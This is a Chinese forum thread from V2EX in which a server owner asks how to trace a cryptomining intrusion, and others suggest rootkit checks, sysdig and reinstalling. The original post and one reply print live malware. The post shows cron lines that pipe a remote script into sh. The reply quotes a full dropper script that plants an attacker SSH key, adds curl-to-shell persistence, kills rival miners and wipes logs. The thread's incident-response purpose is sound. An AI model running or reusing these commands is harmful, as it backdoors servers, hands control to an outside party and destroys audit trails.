V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
diveIntoWork
V2EX  ›  程序员

求助~服务器被挖矿程序入侵,如何排查

  •  
  •   diveIntoWork · 2018-05-28 09:15:14 +08:00 · 12668 次点击
    这是一个创建于 2373 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程

    top - 09:08:51 up 7 days, 21:20,  0 users,  load average: 6.53, 6.48, 6.45
    Tasks: 181 total,   1 running, 179 sleeping,   0 stopped,   1 zombie
    Cpu(s): 77.8%us,  6.1%sy,  0.0%ni, 16.1%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
    Mem:  32946868k total,  7645184k used, 25301684k free,   722592k buffers
    Swap:        0k total,        0k used,        0k free,  4216620k cached
    
      PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
    22948 root      20   0   616    4    0 R    1  0.0   0:00.46 top
        1 root      20   0  117m 5996 3888 S    1  0.0  21:17.74 /sbin/init
     1767 root      20   0  130m  16m  12m S    1  0.1  43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun
     1117 root      20   0 34336 4736 4200 S    0  0.0   7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate
    26901 root      20   0 2712m 567m  22m S    0  1.8  35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D
     1277 root      20   0 23196 2060 1524 S    0  0.0   6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap
     7741 root      20   0 6130m 950m  29m S    0  3.0  69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado
       42 root      RT   0     0    0    0 S    0  0.0   3:36.15 [migration/7]
       13 root      20   0     0    0    0 S    0  0.0   4:13.37 [ksoftirqd/1]
       12 root      RT   0     0    0    0 S    0  0.0   3:42.04 [migration/1]
       15 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/1:0H]
       16 root      RT   0     0    0    0 S    0  0.0   0:01.70 [watchdog/2]
       17 root      RT   0     0    0    0 S    0  0.0   2:07.48 [migration/2]
        9 root      RT   0     0    0    0 S    0  0.0   1:57.28 [migration/0]
       20 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/2:0H]
       21 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/3]
       22 root      RT   0     0    0    0 S    0  0.0   6:07.52 [migration/3]
       23 root      20   0     0    0    0 S    0  0.0   5:42.32 [ksoftirqd/3]
       25 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/3:0H]
       26 root      RT   0     0    0    0 S    0  0.0   0:02.08 [watchdog/4]
       27 root      RT   0     0    0    0 S    0  0.0   1:52.24 [migration/4]
       28 root      20   0     0    0    0 S    0  0.0   3:41.09 [ksoftirqd/4]
       30 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/4:0H]
        8 root      20   0     0    0    0 S    0  0.0   0:00.00 [rcu_bh]
       10 root      RT   0     0    0    0 S    0  0.0   0:02.24 [watchdog/0]
       33 root      20   0     0    0    0 S    0  0.0   4:11.14 [ksoftirqd/5]
       32 root      RT   0     0    0    0 S    0  0.0   3:36.46 [migration/5]
       36 root      RT   0     0    0    0 S    0  0.0   0:02.05 [watchdog/6]
       35 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/5:0H]
       38 root      20   0     0    0    0 S    0  0.0   3:39.25 [ksoftirqd/6]
       40 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/6:0H]
       41 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/7]
       37 root      RT   0     0    0    0 S    0  0.0   1:52.30 [migration/6]
       43 root      20   0     0    0    0 S    0  0.0   4:06.41 [ksoftirqd/7]
       45 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/7:0H]
       46 root      20   0     0    0    0 S    0  0.0   0:00.00 [kdevtmpfs]
       47 root       0 -20     0    0    0 S    0  0.0   0:00.00 [netns]
       48 root       0 -20     0    0    0 S    0  0.0   0:00.00 [perf]
       
       
    

    然后,在 /var/spool/crontab 目录下发现一个定时脚本:

       REDIS0007ú      redis-ver^F3.2.11ú
    redis-bitsÀ@ú^EctimeÂI{»Zú^Hused-memÂxÖ^L^@þ^@û^D^@^@^HJsDhtGeK@I
    */5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh
    ^@^HFQysiMRk4
    */2 * * * * curl http://cdn.namunil.com/sh.php|sh
    ^@^FdseINi8
    */2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh
    ^@^HJPYAqMif@F
    */5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh
    ÿÖX*µTAÄg
    

    是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。

    第 1 条附言  ·  2018-05-28 09:50:11 +08:00

    追加一下htop打印的内容

      PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command
     5098 root       20   0 15628  1540   800 S 601.  0.0 10h35:14 [kondemand]
     5101 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5102 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5103 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5105 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5104 root       20   0 15628  1540   800 R 100.  0.0  1h45:51 [kondemand]
     5106 root       20   0 15628  1540   800 R 100.  0.0  1h45:52 [kondemand]
     4999 root       20   0 2361M 73548 16152 S  0.7  0.2 50:17.49 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
      774 root       20   0 2655M  234M 23012 S  0.7  0.7  9:04.48 /root/apps/jdk1.8.0_121/bin/java -Dproc_secondarynamenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.
     2380 root       20   0 30104 11668  1932 S  0.7  0.0  3:38.34 /root/26 reboot
     3665 root       20   0 76284  1160   784 S  0.7  0.0  4:01.08 /usr/bin/bsd-port/getty
    27004 root       20   0 2712M  569M 22928 S  0.7  1.8  6:12.11 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
     1312 root       20   0 2361M 73548 16152 S  0.0  0.2  1h06:01 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav
    26901 root       20   0 2712M  569M 22928 S  0.0  1.8 35:14.74 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs
    
    
    
    

    kondemand 进程把cpu跑满了,没查到什么东西

    36 条回复    2018-05-29 09:42:32 +08:00
    Mrun
        1
    Mrun  
       2018-05-28 09:24:08 +08:00
    排查啥啊,这种情况就是备份好数据,全盘重做系统
    nealwx
        2
    nealwx  
       2018-05-28 09:27:25 +08:00 via iPhone
    top -b -n 1 看一下,你贴出来的好像不全
    然后再装个 htop 应该就可以明显的看出来了
    d0m2o08
        3
    d0m2o08  
       2018-05-28 09:41:10 +08:00
    egrep 'curl|wget' -R /
    先把下载挖光脚本的脚本找出来
    top 或者 htop 查看那个进程占用高 干掉
    根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件
    xhf3894
        4
    xhf3894  
       2018-05-28 09:52:28 +08:00
    以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。
    挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。
    diveIntoWork
        5
    diveIntoWork  
    OP
       2018-05-28 09:57:38 +08:00
    目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬
    Marzlia
        6
    Marzlia  
       2018-05-28 09:59:24 +08:00
    你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序
    albertofwb
        7
    albertofwb  
       2018-05-28 10:15:20 +08:00 via Android
    会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈
    diveIntoWork
        8
    diveIntoWork  
    OP
       2018-05-28 10:18:51 +08:00
    @albertofwb 不会吧,cpu 突降应该也看得到
    lexuskingxx
        9
    lexuskingxx  
       2018-05-28 10:21:40 +08:00 via iPhone
    ssh 登录,不能使用密码登录
    dbow
        10
    dbow  
       2018-05-28 10:22:31 +08:00
    你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。
    einvince
        11
    einvince  
       2018-05-28 10:23:13 +08:00   ❤️ 2
    top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用
    care
        12
    care  
       2018-05-28 10:24:28 +08:00 via iPhone
    命令是不是被替换了呢?
    iamsee
        13
    iamsee  
       2018-05-28 10:26:36 +08:00
    zcmxw1
        14
    zcmxw1  
       2018-05-28 10:26:43 +08:00
    你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下
    iamsee
        15
    iamsee  
       2018-05-28 10:30:01 +08:00
    我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码:

    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    sleep 3
    cd /var/tmp || cd /tmp
    find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete
    [ -f .mxsh0 ] && exit 0
    echo 0 > .mxsh0
    trap "rm -rf .mxsh0" EXIT
    setenforce 0 2>/dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    crontab -r 2>/dev/null
    rm -rf /var/spool/cron 2>/dev/null
    rm -rf /root/.ssh 2>/dev/null
    crontab -l 2>/dev/null
    mkdir -p /var/spool/cron/crontabs 2>/dev/null
    mkdir -p /root/.ssh 2>/dev/null
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root
    echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root
    echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root
    echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local
    echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local
    echo "exit 0" >> /etc/rc.local
    grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    rm -rf /etc/root.sh 2>/dev/null
    sync && echo 3 > /proc/sys/vm/drop_caches
    cat <<EOF> /etc/security/limits.conf
    * hard nofile 50000
    * soft nofile 50000
    root hard nofile 50000
    root soft nofile 50000
    EOF
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null
    iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null
    ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
    rm -rf /tmp/* 2>/dev/null
    rm -rf /var/tmp/* 2>/dev/null
    echo 0 > /var/spool/mail/root
    echo 0 > /var/log/wtmp
    echo 0 > /var/log/secure
    echo 0 > /root/.bash_history
    sleep 30
    exit 0
    nine99
        16
    nine99  
       2018-05-28 10:34:03 +08:00
    有 rookit 的, 常规方法你是发现不了的
    diveIntoWork
        17
    diveIntoWork  
    OP
       2018-05-28 10:41:08 +08:00
    @dbow 和正常机器对比一下应该没问题
    @einvince 看了一下,修改日期是 2016,应该没被替换吧。而且也删不动
    dbow
        18
    dbow  
       2018-05-28 10:45:47 +08:00
    可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。
    lucifer4he
        19
    lucifer4he  
       2018-05-28 10:46:01 +08:00
    可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很

    现在现场还在做一个 coredump 分析下吧
    chestnutprog
        20
    chestnutprog  
       2018-05-28 12:46:56 +08:00   ❤️ 1
    先拿 RkHunter 查一下 rootkit
    http://rkhunter.sourceforge.net/
    diveIntoWork
        21
    diveIntoWork  
    OP
       2018-05-28 13:02:33 +08:00
    @chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有:

    /usr/sbin/adduser [ Warning ]

    /usr/bin/ldd [ Warning ]

    /usr/bin/top [ Warning ]

    /usr/bin/lwp-request [ Warning ]

    /bin/egrep [ Warning ]

    /bin/fgrep [ Warning ]

    /bin/netstat [ Warning ]

    /bin/which [ Warning ]

    这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来
    jin5354
        22
    jin5354  
       2018-05-28 13:19:16 +08:00
    不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了
    Pain
        24
    Pain  
       2018-05-28 17:12:42 +08:00
    没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。
    xuanyuanaosheng
        25
    xuanyuanaosheng  
       2018-05-28 17:23:30 +08:00
    目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些
    chestnutprog
        26
    chestnutprog  
       2018-05-28 20:37:38 +08:00
    @diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的
    kmahyyg
        27
    kmahyyg  
       2018-05-28 20:42:48 +08:00
    备份重要的非可执行数据之后重装吧
    huigeer
        28
    huigeer  
       2018-05-28 20:53:00 +08:00
    备份重要的非可执行数据之后重装吧
    conn4575
        29
    conn4575  
       2018-05-28 20:56:51 +08:00 via Android
    好可怕,吓得我都不敢开放端口了😂
    diveIntoWork
        30
    diveIntoWork  
    OP
       2018-05-28 21:20:38 +08:00
    @chestnutprog 感谢~ 最后是这样解决的
    fancyhan
        31
    fancyhan  
       2018-05-28 21:29:35 +08:00
    牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞
    aimiyooo
        32
    aimiyooo  
       2018-05-28 23:17:41 +08:00
    服务器有 redis 吧?备份数据,重装系统
    zou2699
        33
    zou2699  
       2018-05-28 23:25:07 +08:00 via iPhone
    top 这些检测常用的命令应该也被修改
    crll
        34
    crll  
       2018-05-28 23:45:59 +08:00 via iPhone
    我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。
    leakless
        35
    leakless  
       2018-05-29 00:44:21 +08:00
    testVmap
        36
    testVmap  
       2018-05-29 09:42:32 +08:00
    安装 sysdig 工具,我用这个找到了 CPU 占用高的程序
    #sysdig -c topprocs_cpu

    CPU% Process PID
    --------------------------------------------------------------------------------
    99.70% <NA> 719
    99.70% <NA> 725
    98.70% <NA> 724
    98.70% <NA> 722
    0.00% oracle 10187
    0.00% hosteye 988
    0.00% V8 4374
    0.00% oracle 6393
    0.00% gdbus 534
    0.00% <NA> 9230
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   5019 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 37ms · UTC 01:20 · PVG 09:20 · LAX 17:20 · JFK 20:20
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.